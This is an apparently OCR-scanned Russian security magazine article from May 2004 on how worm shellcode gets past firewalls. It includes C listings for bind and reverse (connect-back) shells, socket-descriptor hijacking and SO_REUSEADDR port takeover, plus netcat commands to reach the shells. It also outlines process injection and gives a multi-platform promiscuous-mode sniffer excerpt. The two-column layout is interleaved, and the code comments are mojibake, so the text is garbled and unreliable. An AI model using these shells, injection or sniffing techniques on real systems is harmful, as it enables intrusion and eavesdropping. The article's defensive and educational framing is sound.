вашу сеть (и уж тем более – домашний компьютер) ни от laddr.sin_addr.s_addr = INADDR_ANY;
червей, ни от опытных хакеров. Это, разумеется, не обо- if (bind(lsocket,(struct sockaddr*) &laddr, ↵
sizeof(laddr))) return -1;
значает, что брандмауэр совершенно бесполезен, но убе-
дительно доказывает тот факт, что приобретение бранд- // øàã 3: ñëóøàåì ñîêåò
if (listen(lsocket, 0x100)) return -1; ↵
мауэра еще не отменяет необходимость регулярной уста- printf("wait for connection...\n");
новки свежих заплаток.

68
безопасность
// øàã 4: îáðàáàòûâàåì âõîäÿùèå ïîäêëþ÷åíèÿ ствие портов и узлов локальной сети. Допустим, почто-
csocket = accept(lsocket, (struct sockaddr *) ↵ вый сервер, сервер новостей и веб-сервер расположены
&caddr, &caddr_size));
… на различных узлах (а чаще всего так и бывает). Тогда
sshell(csocket[0], MAX_BUF_SIZE); // óäàëåííûé shell на брандмауэре должны быть открыты 25-й, 80-й и 119-й

// øàã 5: ïîä÷èùàåì çà ñîáîé ñëåäû порты. Предположим, что на веб-сервере обнаружилась
closesocket(lsocket); уязвимость и атакующий его shell-код открыл для своих
Полный исходный текст данного примера содержится нужд 25-й порт. Небрежно настроенный брандмауэр про-
в файле bind.c, прилагаемого к статье. Наскоро откомпи- пустит все TCP/IP-пакеты, направленные на 25-й порт,
лировав его (или взяв уже откомпилированный bind.exe), независимо от того, какому именно локальному узлу они
запустим его на узле, условно называемом «узлом-жерт- адресованы.
вой», или «атакуемым узлом». Эта стадия будет соответ- Проверьте, правильно ли сконфигурирован ваш бран-
ствовать засылке shell-кода, переполняющего буфер и дмауэр, и внесите соответствующие изменения в его на-
перехватывающего управление (преобразованием ис- стройки, если это вдруг окажется не так.
ходного текста в двоичный код головы червя воинственно
настроенным читателям придется заниматься самостоя- reverse exploit, или если гора не идет
тельно, а здесь вам не тот косинус, значения которого к Магомету…
могут достигать четырех). Хакеры средней руки, потирая покрасневшие после пос-
Теперь, переместившись на атакующий узел, набери- ледней трепки уши, применяют диаметрально противопо-
те в командной строке: ложный прием, меняя серверный и клиентский код червя
местами. Теперь уже не хвост червя стучится к его голо-
netcat "àäðåñ àòàêóåìîãî" 666 ве, а голова к хвосту. Большинство брандмауэров доволь-
но лояльно относятся к исходящим соединениям, беспре-
или, если у вас нет утилиты netcat: пятственно пропуская их через свои стены, и шансы ата-
кующего на успех существенно повышаются.
telnet "àäðåñ àòàêóåìîãî" 666

Если все прошло успешно, в окне telnet-клиента по-


явится стандартное приглашение командного интерпре-
татора (по умолчанию это cmd.exe), и вы получите более
или менее полноценный shell, позволяющий запускать на
атакуемом узле различные консольные программы.
Вдоволь наигравшись с удаленным shell (подробный
разговор о котором нас еще ждет впереди), убедитесь, что:
! утилита netstat, запущенная с ключом «-a» (или любая Ðèñóíîê 4. Àòàêóþùèé îòêðûâàåò íà ñâîåì óçëå íîâûé ïîðò N,
çàñûëàåò shell-êîä íà óÿçâèìûé ñåðâåð, îòêóäà shell-êîä
другая утилита, подобная ей), «видит» откровенно ле- óñòàíàâëèâàåò ñ óçëîì àòàêóþùåãî èñõîäÿùåå ñîåäèíåíèå, îáû÷íî
вый порт, открытый shell-кодом; íå áëîêèðóåìîå áðàíäìàóýðîì
! при наличии правильно настроенного брандмауэра по- Одновременно с этим упрощается и программная реа-
пытки подключиться к shell-коду извне сети не увенча- лизация головы червя, клиентский код которого сокраща-
ются успехом – брандмауэр не только блокирует вхо- ется всего до двух функций: socket и connect, правда IP-
дящие соединения на нестандартный порт, но и авто- адрес атакующего приходится жестко (hardcoded) проши-
матически определяет IP-адрес атакующего (конечно, вать внутри червя. То есть червь должен уметь динами-
при условии, что тот не скрыт за анонимным proxy). чески изменять свой shell-код, а это (с учетом требова-
После этого остается лишь вломиться к хакеру на дом ний, предъявляемых к shell-коду) не такая уж и простая
и, выражаясь образным языком, надавать ему по задача.
ушам – чтобы больше не хакерствовал.
Ëèñòèíã 2. Êëþ÷åâîé ôðàãìåíò shell-êîäà, óñòàíàâëèâàþùèé
èñõîäÿùåå ñîåäèíåíèå
#define HACKERS_PORT 666
#define HACKERS_IP "127.0.0.1"

// øàã 1: ñîçäàåì ñîêåò
if ((csocket = socket(AF_INET, SOCK_STREAM, 0)) < 0) return -1;
// øàã 2: óñòàíàâëèâàåì ñîåäèíåíèå
caddr.sin_family = AF_INET;
caddr.sin_port = htons(HACKERS_PORT);
caddr.sin_addr.s_addr = inet_addr(HACKERS_IP);
Ðèñóíîê 3. Àòàêóþùèé çàñûëàåò shell-êîä íà óÿçâèìûé ñåðâåð, if (connect(csocket, (struct sockaddr*)&caddr, ↵
shell-êîä îòêðûâàåò íîâûé ïîðò N, íî âõîäÿùåå ïîäêëþ÷åíèå íà sizeof(caddr))) return -1;
ïîðò N áëîêèðóåòñÿ áðàíäìàóýðîì è çàâåðøèòü àòàêó íå óäàåòñÿ
// øàã 3: îáìåíèâàåìñÿ äàííûìè ñ ñîêåòîì
Впрочем, в жизни все совсем не так, как в теории. sshell(csocket, MAX_BUF_SIZE );
Далеко не каждый администратор блокирует все неис-
пользуемые порты, и уж тем более – проверяет соответ- Откомпилировав исходный текст демонстрационного

№5(18), май 2004 69


безопасность
примера (ищите его в файле reverse.c), выполните на узле find exploit, или молчание брандмауэра
атакующего следующую команду: Если в процессе оперативно-воспитательной работы вме-
сте с ушами хакеру не оторвут еще кое-что, до него, мо-
netcat –l –p 666 жет быть, наконец дойдет, что устанавливать новые TCP/
IP-соединения с атакуемым сервером ненужно! Вместо
а на атакуемом узле запустите reverse.exe (выполняющий этого можно воспользоваться уже существующим соеди-
роль shell-кода) и введите IP-адрес атакующего узла с кла- нением, легальным образом установленным с сервером!
виатуры (в реальном shell-коде, как уже говорилось выше, В частности, можно гарантировать, что на публичном
этот адрес передается вместе с головой червя). веб-сервере будет обязательно открыт 80-й порт, иначе
И вновь терминал хакера превратится в удаленный ни один пользователь внешней сети не сможет с ним ра-
shell, позволяющий делать с уязвимым узлом все что угод- ботать. Поскольку HTTP-протокол требует двухсторонне-
но. Причем, если в отношении «подтягивания» вирусного го TCP/IP-соединения, атакующий может беспрепятствен-
хвоста все было предельно ясно (голова червя устанав- но отправлять shell-коду зловредные команды и получать
ливает с исходным узлом TCP/IP-соединение, скачивает назад ответы. Алгоритм атаки в общем виде выглядит
основное тело червя, разрывая соединение после завер- приблизительно так: атакующий устанавливает с уязви-
шения этой операции), то осуществить «инверсный» дос- мым сервером TCP/IP-соединение, притворясь невинной
туп к backdoor значительно сложнее, поскольку инициа- овечкой, мирно пасущейся на бескрайних просторах Ин-
тором соединения является уже не хакер, а сам удален- тернета, но вместо честного запроса «GET» он подбрасы-
ный shell-код. Теоретически последний можно запрограм- вает серверу зловредный shell-код, переполняющий бу-
мировать так, чтобы он периодически стучался на хакер- фер и захватывающий управление. Брандмауэр, доволь-
ский узел, пытаясь установить соединение каждый час или но смутно представляющий себе особенности программ-
даже каждые несколько секунд, однако это будет слиш- ной реализации сервера, не видит в таком пакете ничего
ком заметно, и к тому же атакующему потребуется посто- дурного и благополучно его пропускает.
янный IP, которым не так-то просто завладеть анонимно. Между тем shell-код, слегка обжившись на атакован-
ном сервере, вызывает функцию recv, передавая ей деск-
риптор уже установленного TCP/IP-соединения, того са-
мого, через которое он и был заслан – подтягивая свое
основное тело. Совершенно ничего не подозревающий
брандмауэр и эти пакеты пропускает тоже, ничем не вы-
деляя их в логах.
Проблема в том, что shell-код не знает дескриптора
«своего» соединения и потому не может этим соединени-
Ðèñóíîê 5. Àòàêóþùèé îòêðûâàåò íà ñâîåì óçëå íîâûé ïîðò N, ем напрямую воспользоваться. Но тут на помощь прихо-
çàñûëàåò shell-êîä íà óÿçâèìûé ñåðâåð, îòêóäà shell-êîä
óñòàíàâëèâàåò ñ óçëîì àòàêóþùåãî èñõîäÿùåå ñîåäèíåíèå, áåç- дит функция getpeername, сообщающая, с каким удален-
æàëîñòíî áëîêèðóåìîå ïðàâèëüíî íàñòðîåííûì áðàíäìàóýðîì ным адресом и портом установлено соединение, ассоци-
Если уязвимый узел находится в DMZ-зоне («демили- ированное с данным дескриптором (если дескриптор не
таризованной» зоне – выделенном сегменте сети, в кото- ассоциирован ни с каким соединением, функция возвра-
ром локальная сеть пересекается с агрессивной внешней щает ошибку). Поскольку и в Windows 9x/NT, и в UNIX дес-
средой, где по обыкновению и устанавливаются публич- крипторы выражаются небольшим положительным целым
ные серверы), администратор может с чистой совестью числом, вполне реально за короткое время перебрать их
заблокировать все исходящие соединения, перекрывая все, после чего shell-коду останется лишь определить, ка-
червю «кислород» и одновременно с этим беспрепятствен- кое из всех TCP/IP-соединений «его». Это легко. Ведь IP-
но пропуская локальных пользователей в Интернет. Прав- адрес и порт атакующего узла ему хорошо известны (ну
да, дверь демилитаризованной зоны практически никог- должен же он помнить, откуда он только что пришел!),
да не запирается наглухо и в ней всегда остается крохот- достаточно выполнить тривиальную проверку на совпа-
ная щелка, предназначенная для отправки почты, DNS- дение – вот и все.
запросов и т. д., однако правильно сконфигурированный
брандмауэр ни за что не выпустит пакет, стучащийся в
25-й порт, но отправленный не с SMTP-, а с веб-сервера!
Но даже если исходящие соединения и не блокируют-
ся брандмауэром, червь все равно не сможет эффектив-
но распространяться, ведь брандмауэр атакующего узла
навряд ли пропустит входящее соединение, поэтому даль-
ше первого поколения процесс размножения не пойдет. В
любом случае установка новых соединений на нестандар-
тные порты (а уж тем более периодические «поползнове-
ния» в сторону узла хакера) так или иначе отображается Ðèñóíîê 6. Àòàêóþùèé çàñûëàåò íà óÿçâèìûé ñåðâåð shell-êîä,
в логах, и к хакеру в срочном порядке отправляется бри- êîòîðûé ìåòîäîì "òóïîãî" ïåðåáîðà íàõîäèò ñîêåò óæå óñòà-
íîâëåííîãî ñîåäèíåíèÿ è ñâÿçûâàåòñÿ ñ óçëîì àòàêóþùåãî, íå
гада «карателей» быстрого реагирования. âûçûâàÿ íèêàêèõ ïîäîçðåíèé ñî ñòîðîíû áðàíäìàóýðà

70
безопасность
Программная реализация головы червя в несколько мет, ну а кто не программировал, просто не в состоянии
упрощенном виде может выглядеть, например, так: представить, чего он избежал).
Если говорить коротко: делать bind на уже открытый
Ëèñòèíã 3. Êëþ÷åâîé ôðàãìåíò shell-êîäà, îñóùåñòâëÿþùèé порт может только владелец этого порта (т.е. процесс,
ïîèñê ñîêåòà "ñâîåãî" ñîåäèíåíèÿ
открывший данный порт, или один из его потомков, унас-
// øàã 1: ïåðåáèðàåì âñå äåñêðèïòîðû ñîêåòîâ îäèí çà äðóãèì ледовавших дескриптор соответствующего сокета), да и
for (a = 0; a < MAX_SOCKET; a++)
{ то лишь при том условии, что сокет не имеет флага экск-
*buff = 0; // î÷èùàåì èìÿ ñîêåòà люзивности (SO_EXCLUSIVEADDRUSE). Тогда, создав
// øàã 2: ïîëó÷àåì àäðåñ, ñâÿçàííûé ñ äàííûì äåñêðèïòîðîì новый сокет и вызвав функцию setsockopt, присваиваю-
// (êîíå÷íî, ïðè óñëîâèè, ÷òî ñ íèì âîîáùå ÷òî-òî ñâÿçíî) щую ему атрибут SO_REUSEADDR, shell-код сможет сде-
if (getpeername((SOCKET) a, (struct sockaddr*) &faddr, ↵
(int *) buff) != -1) лать bind и listen, после чего все последующие подключе-
{ ния к атакованному серверу будут обрабатываться уже не
// øàã 3: èäåíòèôèöèðóåì ñâîå TCP/IP-ñîåäèíåíèå
// ïî ñâîåìó ïîðòó самим сервером, а зловредным shell-кодом!
if (htons(faddr.sin_port) == HACKERS_PORT)
sshell((SOCKET) a, MAX_BUF_SIZE);
}
}

// øàã 4: ïîä÷èùàåì çà ñîáîé ñëåäû


closesocket(fsocket);

Откомпилировав демонстрационный пример find.c,


запустите его на атакуемом узле, а на узле атакующего
наберите:
Ðèñóíîê 7. Àòàêóþùèé çàñûëàåò íà óÿçâèìûé ñåðâåð shell-êîä,
netcat "àäðåñ àòàêóåìîãî" 666 êîòîðûé äåëàåò re-bind íà îòêðûòûé ïóáëè÷íûé ïîðò è ïåðå-
õâàòûâàåò âñå ïîñëåäóþùèå ñîåäèíåíèÿ (è ñîåäèíåíèÿ, óñòà-
íàâëèâàåìûå àòàêóþùèì â òîì ÷èñëå)
Убедитесь, что никакие, даже самые жесткие и неде- Программная реализация данной атаки вполне триви-
мократические настройки брандмауэра не препятствуют альна и отличается от эксплоита bind.c одной-единствен-
нормальной жизнедеятельности червя. Внимательнейшим ной строкой:
образом изучите все логи – вы не видите в них ничего
подозрительного? Вот! Я тоже не вижу. И хотя IP-адрес setsockopt(rsocket, SOL_SOCKET, SO_REUSEADDR, ↵
&n_reuse, sizeof(n_reuse))
атакующего в них исправно присутствует, он ничем не
выделяется среди сотен тысяч адресов остальных поль- присваивающей сокету атрибут SO_REUSEADDR. Одна-
зователей и разоблачить хакера может лишь просмот- ко вместо открытия порта с нестандартным номером дан-
ром содержимого всех TCP/IP-пакетов. Пакеты, отправ- ный код захватывает основной порт уязвимой службы, не
ленные злоумышленником, будут содержать shell-код, вызывая никаких претензий у брандмауэра.
который легко распознать на глаз. Однако, учитывая, что
каждую секунду сервер перемолачивает не один мега- Ëèñòèíã 4. Êëþ÷åâîé ôðàãìåíò shell-êîäà, îñóùåñòâëÿþùèé
re-bind îòêðûòîãî ïîðòà
байт информации, просмотреть все пакеты становится
просто нереально, а автоматизированный поиск требу- // øàã 1: ñîçäàåì ñîêåò
if ((rsocket = socket(AF_INET, SOCK_STREAM, 0)) < 0) return -1;
ет вирусной сигнатуры, которой на латентной стадии
эпидемии еще ни у кого нет. // øàã 2: ïðèñâàèâàåì àòðèáóò SO_REUSEADDR
if (setsockopt(rsocket, SOL_SOCKET , SO_REUSEADDR , ↵
&n_reuse, 4)) return -1;
reuse exploit, или молчание брандмауэра II // øàã 3: ñâÿçûâàåì ñîêåò ñ ëîêàëüíûì àäðåñîì
Допустим, разработчики операционных систем исправят raddr.sin_family = AF_INET;
свой грубый ляп с дескрипторами сокетов, равномерно raddr.sin_port = htons(V_PORT); // óÿçâèìûé ïîðò
raddr.sin_addr.s_addr = INADDR_ANY;
рассеяв их по всему 32-битному пространству, что сдела- if (bind(rsocket,(struct sockaddr *) &raddr, ↵
ет лобовой перебор довольно неэффективным, особенно sizeof(raddr))) return -1;
если в функции getpeername будет встроен детектор та- // øàã 4: ñëóøàåì
кого перебора, реагирующий в случае подозрения на ата- // ïðè ïîñëåäóþùèõ ïîäêëþ÷åíèÿõ ê óÿçâèìîìó ïîðòó, óïðàâëåíèå
// ïîëó÷èò shell-êîä, à íå êîä ñåðâåðà è ýòîò ïîðò áóäåò
ку все возрастающим замедлением. И что тогда? А ниче- // îáÿçàòåëüíî îòêðûò íà firewall, ïîñêîëüêó ýòî ïîðò
го! Опытные хакеры (и грамотно спроектированные чер- // «ëåãàëüíîé» ñåòåâîé ñëóæáû!
if (listen(rsocket, 0x1)) return -1;
ви) перейдут к плану «Б», насильно делая re-bind уже от-
крытому порту. // øàã 5: èçâëåêàåì ñîîáùåíèå èç î÷åðåäè
csocket = accept(rsocket, (struct sockaddr *) ↵
Возможность повторного использования адресов – это &raddr, &raddr_size);
вполне легальная возможность, и предусмотрена она не
// øàã 6: îáìåíèâàåìñÿ êîìàíäàìè ñ ñîêåòîì
случайно. В противном случае проектирование разветв- sshell((SOCKET) csocket, MAX_BUF_SIZE);
ленных сетевых приложений с сильно развитой иерархи-
// øàã 7 - ïîä÷èùàåì çà ñîáîé ñëåäû
ческой структурой оказалось бы чрезвычайно затрудне- closesocket(rsocket);
но (кто программировал собственные серверы, тот пой- closesocket(csocket);

№5(18), май 2004 71


безопасность
Откомпилировав демонстрационный пример reuse.c, Против этого приема не существует никаких адекват-
запустите его на атакуемом узле, а на узле атакующего ных контрмер противодействий, и единственное, что мож-
выполните следующую команду: но порекомендовать, – это избегать использования уяз-
вимых приложений вообще.
netcat "àäðåñ àòàêóåìîãî" 80

соответствующую стадии засылки shell-кода на уязвимый


сервер. Затем повторите попытку подключения вновь и,
если все пройдет успешно, на экране терминала появит-
ся уже знакомое приглашение командного интерпретато-
ра, подтверждающее, что подключение обработано от-
нюдь не прежним владельцем порта, а головой червя или
shell-кодом.
Убедитесь, что брандмауэр, независимо от его конфи-
гурации, не видит в этой ситуации ничего странного и ни- Ðèñóíîê 8. Àòàêóþùèé çàñûëàåò íà óÿçâèìûé ñåðâåð shell-êîä,
ïðèáèâàþùèé ñåðâåðíûé ïðîöåññ è îòêðûâàþùèé ïóáëè÷íûé ïîðò
как не препятствует несанкционированному захвату под- çàíîâî
ключений. (Замечание: под Windows 2000 SP3 этот при-
ем иногда не срабатывает – система, нахально проигно- sniffer exploit, или пассивное сканирование
рировав захват порта, продолжает обрабатывать входя- При желании червь может перехватывать весь трафик,
щие подключения его прежним владельцем. Как ведут проходящий через уязвимый узел, а не только тот, что
себя остальные системы, не знаю, не проверял, однако адресован атакованному сервису. Такое пассивное про-
это явная ошибка и она должна быть исправлена в следу- слушивание чрезвычайно трудно обнаружить, и из всех
ющих версиях. В любом случае, если такое произошло, рассмотренных нами способов обхода брандмауэров этот
повторяйте засылку shell-кода вновь и вновь – до тех пор, обеспечивает червю наивысшую скрытность.
пока вам не повезет). По сети путешествует огромное количество сниффе-
ров для UNIX, в большинство своем распространяемых в
fork exploit, или брандмауэр продолжает молчать исходных текстах и неплохо прокомментированных. Наи-
Атрибут эксклюзивности не присваивается сокетам по более универсальный способ прослушивания трафика
умолчанию, и о его существовании догадываются далеко апеллирует к кросс-платформенной библиотеке libcap,
не все разработчики серверных приложений, однако, если портированной в том числе и под Windows 95/98/ME/NT/
под натиском червей уязвимые серверы начнут сыпаться 2000/XP/CE (на сайте http://winpcap.polito.it/install/default.htm
один за другим, разработчики могут пересмотреть свое можно найти и сам порт библиотеки, и tcpdump для
отношение к безопасности и воспрепятствовать несанк- Windows – очень рекомендую). Если же на атакованном
ционированному захвату открытых портов. Наступят ли компьютере этой библиотеки нет (а червь не может по-
после этого для червей мрачные времена? зволить себе роскошь тащить ее за собой), мы будем дей-
Да как бы не так! Голова червя просто прибьет уязви- ствовать так: открываем сокет в сыром режиме, связыва-
мый процесс вместе со всеми его дескрипторами (при ем его с прослушиваемым интерфейсом, переводим пос-
закрытии процесса все открытые им порты автоматичес- ледний в «неразборчивый» (promiscuous) режим, в кото-
ки освобождаются), перебрасывая свое тело в новый про- ром сокет будет получать все проходящие мимо него па-
цесс, после чего червь сделает bind только что открытому кеты, и… собственно, читаем их в свое удовольствие.
порту, получая в свое распоряжение все входящие соеди- В различных операционных системах этот механизм ре-
нения. ализуется по-разному. В Linux, начиная с версии 2.2, по-
В UNIX-системах есть замечательный системный вы- явились поддержка пакетных сокетов, предназначенных для
зов fork, расщепляющий текущий процесс и автоматичес- взаимодействия с сетью на уровне драйверов и создавае-
ки раздваивающий червя. В Windows 9x/NT осуществить мых вызовом:
такую операцию намного сложнее, однако все же не так
сложно, как это кажется на первый взгляд. Один из воз- socket (PF_PACKET, int type, int protocol)
можных способов реализации выглядит приблизительно
так: сначала вызывается функция CreateProcess с уста- где type может принимать значения SOCK_RAW («сырой»
новленным флагом CREATE_SUSPENDED (создание про- сокет) или SOCK_DGRAM («сухой» сокет с удаленными
цесса с его немедленным «усыплением»), затем из про- служебными заголовками). Вызов:
цесса выдирается текущий контекст (это осуществляется
вызовом функции GetThreadContext) и значение регистра ifr.ifr_flags |= IFF_PROMISC; ioctl (s, SIOCGIFFLAGS, ifr)
EIP устанавливается на начало блока памяти, выделенно-
го функцией VirtualAllocEx. Вызов SetThreadContext обнов- активирует неразборчивый режим, где ifr – интерфейс, к ко-
ляет содержимое контекста, а функция WriteProcessMemory торому сокет был привязан сразу после его создания (под-
внедряет в адресное пространство процесса shell-код, робнее об этом можно прочитать в статье В. Мешкова «Ана-
после чего процесс пробуждается, разбуженный функци- лизатор сетевого трафика», опубликованной в октябрьском
ей ResumeThread, и shell-код начинает свое выполнение. номере журнала «Системный администратор» за 2002 год).

72
безопасность
Под BSD можно открыть устройство «/dev/bpf» и после #define CHUNKSIZE 32000 */
#endif
его перевода в неразборчивый режим:
#ifdef IRIX /*-----------< IRIX >--------------*/
ioctl(fd, BIOCPROMISC, 0) #define NIT_DEV ""
#define DEFAULT_NIC ""
#define CHUNKSIZE 60000 */
#define ETHERHDRPAD RAW_HDRPAD(sizeof(struct ↵
слушать пролетающий мимо узла трафик. В Solaris все ether_header))
осуществляется аналогично, только IOCTL-коды немного #endif
#ifdef SOLARIS /*--------< Solaris >-----------*/
другие, и устройство называется не bpf, а hme. Аналогич- #define NIT_DEV "/dev/hme" */
ным образом ведет себя и SUN OS, где для достижения #define DEFAULT_NIC ""
#define CHUNKSIZE 32768 */
желаемого результата приходится отрывать устройство nit. #endif
Короче говоря, эта тема выжата досуха и никому уже
#define S_DEBUG */
не интересна. Замечательное руководство по программи- #define SIZE_OF_ETHHDR 14 */
рованию снифферов (правда, на французском языке) мож- #define LOGFILE "./snif.log" */
#define TMPLOG_DIR "/tmp/" */
но найти на http://www.security-labs.org/index.php3?page=135,
а на http://packetstormsecurity.org/sniffers/ выложено множе- struct conn_list{
struct conn_list *next_p;
ство разнообразных «грабителей» трафика в исходных тек- char sourceIP[16],destIP[16];
стах. Наконец, по адресам http://athena.vvsu.ru/infonets/Docs/ unsigned long sourcePort,destPort;
};
sniffer.txt и http://cvalka.net/read.php?file=32&dir=programming
вас ждет пара толковых статей о снифферах на русском struct conn_list *cl; struct conn_list *org_cl;
языке. Словом, на недостаток информации жаловаться не #ifdef SOLARIS
приходится. Правда, остается неявным – как примерить int strgetmsg(fd, ctlp, flagsp, caller)
int fd;
весь этот зоопарк и удержать в голове специфические struct strbuf *ctlp;
особенности каждой из операционных систем? int *flagsp;
char *caller;
Подавляющее большинство статей, с которыми мне {
приходилось встречаться, описывали лишь одну, ну мак- int rc;
static char errmsg[80];
симум две операционные системы, совершенно игнори-
руя существование остальных. Приходилось открывать не- *flagsp = 0;
if ((rc=getmsg(fd,ctlp,NULL,flagsp))<0) return(-2);
сколько статей, одновременно и попеременно мотаться if (alarm(0)<0) return(-3);
между ними на предмет выяснения: а под Linux это как? А if ((rc&(MORECTL|MOREDATA))==(MORECTL|MOREDATA)) ↵
return(-4);
под BSD? А под Solaris? От этого в голове образовывался if (rc&MORECTL) return(-5);
такой кавардак, что от прочитанного материала не оста- if (rc&MOREDATA) return(-6);
if (ctlp->len<sizeof(long)) return(-7);
валось и следа, а компилируемый код содержал огром- return(0);
ное количество фатальных ошибок, даже и не пытаясь }
#endif
компилироваться.
Чтобы не мучить читателя сводными таблицами (от int setnic_promisc(nit_dev,nic_name)
char *nit_dev;
которых больше вреда, чем пользы), ниже приводится char *nic_name;
вполне работоспособная функция абстракции, подготав- {
int sock; struct ifreq f;
ливающая сокет (дескриптор устройства) к работе и под-
держивающая большое количество различных операци- #ifdef SUNOS4
struct strioctl si; struct timeval timeout;
онных систем, как то: SUN OS, Lunux, FreeBSD, IRIX и u_int chunksize = CHUNKSIZE; u_long if_flags = NI_PROMISC;
Solaris. Полный исходный текст сниффера можно стащить
if ((sock = open(nit_dev, O_RDONLY)) < 0) return(-1);
отсюда: http://packetstormsecurity.org/sniffers/gdd13.c. if (ioctl(sock, I_SRDOPT, (char *)RMSGD) < 0) return(-2);
si.ic_timout = INFTIM;
Ëèñòèíã 5. Ñîçäàíèå ñûðîãî ñîêåòà (äåñêðèïòîðà) è ïåðåâîä if (ioctl(sock, I_PUSH, "nbuf") < 0) return(-3);
åãî â íåðàçáîð÷èâûé ðåæèì
timeout.tv_sec = 1; timeout.tv_usec = 0; ↵
/*======================================================== si.ic_cmd = NIOCSTIME;
Ethernet Packet Sniffer 'GreedyDog' Version 1.30 si.ic_len = sizeof(timeout); si.ic_dp = (char *)&timeout;
The Shadow Penguin Security if (ioctl(sock, I_STR, (char *)&si) < 0) return(-4);
(http://shadowpenguin.backsection.net)
Written by UNYUN (unewn4th@usa.net) si.ic_cmd = NIOCSCHUNK; si.ic_len = sizeof(chunksize);
si.ic_dp = (char *)&chunksize;
#ifdef SUNOS4 /*--------< SUN OS4 >-----------*/ if (ioctl(sock, I_STR, (char *)&si) < 0) return(-5);
#define NIT_DEV "/dev/nit" */
#define DEFAULT_NIC "le0" */ strncpy(f.ifr_name, nic_name, sizeof(f.ifr_name));
#define CHUNKSIZE 4096 */ f.ifr_name[sizeof(f.ifr_name) - 1] = '\0'; ↵
#endif si.ic_cmd = NIOCBIND;
si.ic_len = sizeof(f); si.ic_dp = (char *)&f;
#ifdef LINUX /*--------< LINUX >-------------*/ if (ioctl(sock, I_STR, (char *)&si) < 0) return(-6);
#define NIT_DEV ""
#define DEFAULT_NIC "eth0" */ si.ic_cmd = NIOCSFLAGS; si.ic_len = sizeof(if_flags);
#define CHUNKSIZE 32000 */ si.ic_dp = (char *)&if_flags;
#endif if (ioctl(sock, I_STR, (char *)&si) < 0) return(-7);
if (ioctl(sock, I_FLUSH, (char *)FLUSHR) < 0) return(-8);
#ifdef FREEBSD /*--------< FreeBSD >-----------*/ #endif
#define NIT_DEV "/dev/bpf" */
#define DEFAULT_NIC "ed0" */ #ifdef LINUX

№5(18), май 2004 73


безопасность
if ((sock=socket(AF_INET,SOCK_PACKET,768))<0) return(-1); Совсем иная ситуация складывается с Windows NT.
strcpy(f.ifr_name, nic_name); ↵ Пакетных сокетов она не поддерживает, с сетевым драй-
if (ioctl(sock,SIOCGIFFLAGS,&f)<0) return(-2);
f.ifr_flags |= IFF_PROMISC; ↵ вером напрямую работать не позволяет. Точнее, позволя-
if (ioctl(sock,SIOCSIFFLAGS,&f)<0) return(-3); ет, но с очень большими предосторожностями и не без
#endif
плясок с бубном (если нет бубна, на худой конец сойдет и
#ifdef FREEBSD обыкновенный оцинкованный таз, подробное изложение
char device[12]; int n=0; struct bpf_version bv; ↵
unsigned int size; ритуала можно найти у Коберниченко в «Недокументиро-
do{ ванных возможностях Windows NT»). И хотя пакетных
sprintf(device,"%s%d",nit_dev,n++); ↵
sock=open(device,O_RDONLY); снифферов под NT существует огромное количество (один
} while(sock<0 && errno==EBUSY); из которых даже входит в DDK), все они требуют обяза-
if(ioctl(sock,BIOCVERSION,(char *)&bv)<0) return(-2);
if((bv.bv_major!=BPF_MAJOR_VERSION)|| ↵ тельной установки специального драйвера, т.к. коррект-
(bv.bv_minor<BPF_MINOR_VERSION))return(-3); ная работа с транспортом в NT возможна только на уров-
strncpy(f.ifr_name,nic_name,sizeof(f.ifr_name));
if(ioctl(sock,BIOCSETIF,(char *)&f)<0) return(-4); не ядра. Может ли червь притащить с собой такой драй-
ioctl(sock,BIOCPROMISC,NULL);if(ioctl(sock,BIOCGBLEN, ↵ вер и динамически загрузить его в систему? Ну, вообще-
(char *)&size)<0) return(-5);
#endif то может, только это будет крайне громоздкое и неэле-
#ifdef IRIX
гантное решение.
struct sockaddr_raw sr; struct snoopfilter sf; В Windows 2000/XP все гораздо проще. Там достаточ-
int size=CHUNKSIZE,on=1; char *interface; но создать сырой сокет (в Windows 2000/XP наконец-то
if((sock=socket(PF_RAW,SOCK_RAW,RAWPROTO_SNOOP))<0) ↵
return(-1); появилась поддержка сырых сокетов!), поместить его на
sr.sr_family = AF_RAW; sr.sr_port = 0; прослушиваемый интерфейс и, сделав сокету bind, пере-
if (!(interface=(char *)getenv("interface")))
memset(sr.sr_ifname,0,sizeof(sr.sr_ifname)); вести последний в неразборчивый режим, сказав:
else strncpy(sr.sr_ifname,interface,sizeof(sr.sr_ifname));
if(bind(sock,&sr,sizeof(sr))<0) return(-2); ↵
memset((char *)&sf,0,sizeof(sf)); WSAIoctl(raw_socket, SIO_RCVALL, &optval, ↵
if(ioctl(sock,SIOCADDSNOOP,&sf)<0) return(-3); sizeof(optval), 0,0,&N,0,0))
setsockopt(sock,SOL_SOCKET,SO_RCVBUF, ↵
(char *)&size,sizeof(size)); где optval – переменная типа DWORD с единицей внутри,
if(ioctl(sock,SIOCSNOOPING,&on)<0) return(-4); а N – количество возвращенных функцией байт.
#endif
Впервые исходный текст такого сниффера был опуб-
#ifdef SOLARIS ликован в шестом номере журнала 29A, затем его пере-
long buf[CHUNKSIZE]; dl_attach_req_t ar; ↵
dl_promiscon_req_t pr; драл Z0mnie, переложивший ассемблерный код на интер-
struct strioctl si; union DL_primitives *dp; ↵ национальный программистский язык Си++ (странно, а
dl_bind_req_t bind_req;
struct strbuf c; int flags; почему не Си?) и унаследовавший все ляпы оригинала.
if ((sock=open(nit_dev,2))<0) return(-1);
Ниже приведен его ключевой фрагмент с моими коммен-
тариями, а полный исходный текст содержится в файле
ar.dl_primitive=DL_ATTACH_REQ; ar.dl_ppa=0; c.maxlen=0; sniffer.с. Другой источник вдохновения – демонстрацион-
c.len=sizeof(dl_attach_req_t); c.buf=(char *)&ar;
if (putmsg(sock,&c,NULL,0)<0) return(-2); ный пример IPHDRINC, входящий в состав Platform SDK
c.maxlen=CHUNKSIZE; c.len=0; c.buf=(void *)buf;
2000. Рекомендую.
strgetmsg(sock,&c,&flags,"dlokack"); ↵
dp=(union DL_primitives *)c.buf; Ëèñòèíã 6. Êëþ÷åâîé ôðàãìåíò êîäà ïàêåòíîãî sniffer ïîä
if (dp->dl_primitive != DL_OK_ACK) return(-3); Windows 2000/XP
pr.dl_primitive=DL_PROMISCON_REQ; ↵ // Ñîçäàåì ñûðîé ñîêåò
pr.dl_level=DL_PROMISC_PHYS; c.maxlen = 0; //--------------------------------------------------------
c.len=sizeof(dl_promiscon_req_t); c.buf=(char *)&pr; if ((raw_socket = socket(AF_INET, SOCK_RAW, IPPROTO_IP)) == ↵
if (putmsg(sock,&c,NULL,0)<0) return(-4); -1) return -1;
